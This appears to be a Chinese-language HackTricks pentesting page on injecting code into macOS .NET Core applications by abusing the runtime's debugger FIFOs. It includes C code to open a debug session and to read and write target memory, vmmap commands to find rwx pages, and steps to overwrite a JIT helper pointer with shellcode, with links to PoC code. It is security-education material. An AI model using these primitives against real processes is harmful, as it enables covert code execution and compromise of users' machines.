hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md

199 lines
11 KiB
Markdown
Raw Normal View History

2023-08-03 19:12:22 +00:00
# macOS .Net应用程序注入
<details>
2023-08-03 19:12:22 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
2023-08-03 19:12:22 +00:00
## .NET Core调试 <a href="#net-core-debugging" id="net-core-debugging"></a>
2023-08-03 19:12:22 +00:00
### **建立调试会话** <a href="#net-core-debugging" id="net-core-debugging"></a>
2023-08-03 19:12:22 +00:00
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)负责处理调试器与被调试进程之间的**通信**。\
它通过调用[dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)中的[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)创建每个.Net进程的2个命名管道一个以**`-in`**结尾,另一个以**`-out`**结尾,其余部分名称相同)。
2023-08-03 19:12:22 +00:00
因此,如果你进入用户的**`$TMPDIR`**目录,你将能够找到用于调试.Net应用程序的**调试FIFO**
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
2023-08-03 19:12:22 +00:00
函数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)将处理来自调试器的通信。
2023-08-03 19:12:22 +00:00
调试器需要做的第一件事是**创建一个新的调试会话**。这是通过**通过`out`管道发送以`MessageHeader`结构开始的消息**来完成的,我们可以从.NET源代码中获取
```c
struct MessageHeader
{
2023-08-03 19:12:22 +00:00
MessageType m_eType; // Type of message this is
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
DWORD m_dwId; // Message ID assigned by the sender of this message
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
// never read)
union {
struct {
DWORD m_dwMajorVersion; // Protocol version requested/accepted
DWORD m_dwMinorVersion;
} VersionInfo;
...
} TypeSpecificData;
BYTE m_sMustBeZero[8];
}
```
2023-08-03 19:12:22 +00:00
在新会话请求的情况下,这个结构体的填充方式如下:
```c
static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;
// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;
// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
```
2023-08-03 19:12:22 +00:00
一旦构建完成,我们使用`write`系统调用将其发送给目标。
```c
write(wr, &sSendHeader, sizeof(MessageHeader));
```
2023-08-03 19:12:22 +00:00
以下是我们需要发送的`sessionRequestData`结构体其中包含一个用于标识我们会话的GUID
```c
// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));
```
2023-08-03 19:12:22 +00:00
在发送会话请求后,我们从`out`管道中**读取一个标头**,该标头将指示我们建立调试器会话的请求是否**成功**
```c
read(rd, &sReceiveHeader, sizeof(MessageHeader));
```
2023-08-03 19:12:22 +00:00
### 读取内存
2023-08-03 19:12:22 +00:00
通过建立一个调试会话,可以使用消息类型 [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) 来**读取内存**。要读取一些内存,主要需要的代码如下:
```c
bool readMemory(void *addr, int len, unsigned char **output) {
2023-08-03 19:12:22 +00:00
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
2023-08-03 19:12:22 +00:00
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
2023-08-03 19:12:22 +00:00
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
2023-08-03 19:12:22 +00:00
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
2023-08-03 19:12:22 +00:00
memset(*output, 0, len);
2023-08-03 19:12:22 +00:00
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
return false;
}
2023-08-03 19:12:22 +00:00
return true;
}
```
证明概念POC代码在[这里](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b)找到。
2023-08-03 19:12:22 +00:00
### 写入内存
```c
bool writeMemory(void *addr, int len, unsigned char *input) {
2023-08-03 19:12:22 +00:00
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
return false;
}
2023-08-03 19:12:22 +00:00
// Write the data
if (write(wr, input, len) < 0) {
return false;
}
2023-08-03 19:12:22 +00:00
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
return false;
}
2023-08-03 19:12:22 +00:00
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
2023-08-03 19:12:22 +00:00
return true;
2023-08-03 19:12:22 +00:00
}
```
可以在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)找到用于执行此操作的POC代码。
### .NET Core代码执行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
2023-08-03 19:12:22 +00:00
首先要做的是识别一个具有**`rwx`**权限的内存区域以保存要运行的shellcode。可以使用以下代码轻松完成此操作
```bash
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
2023-08-03 19:12:22 +00:00
然后,为了触发执行,需要知道存储函数指针的位置以覆盖它。可以在**动态函数表DFT**中覆盖指针,该表由.NET Core运行时用于提供JIT编译的辅助函数。支持的函数指针列表可以在[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)中找到。
2023-08-03 19:12:22 +00:00
在x64版本中可以使用类似mimikatz的**签名搜索**技术直接在**`libcorclr.dll`**中搜索对符号**`_hlpDynamicFuncTable`**的引用,然后我们可以对其进行解引用:
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
2023-08-03 19:12:22 +00:00
现在只需要找到一个地址来开始我们的签名搜索。为此,我们利用另一个公开的调试器函数**`MT_GetDCB`**。它返回目标进程的一些有用信息,但对于我们的情况,我们对返回的一个包含**辅助函数地址**的字段感兴趣,即**`m_helperRemoteStartAddr`**。使用这个地址,我们知道**`libcorclr.dll`在目标进程内存中的位置**可以开始搜索DFT。
2023-08-03 19:12:22 +00:00
知道了这个地址就可以用我们的shellcode覆盖函数指针。
2023-08-03 19:12:22 +00:00
完整的用于注入到PowerShell的POC代码可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到。
2023-08-03 19:12:22 +00:00
## 参考资料
2023-08-03 19:12:22 +00:00
* 此技术来自[https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFT收藏品**](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>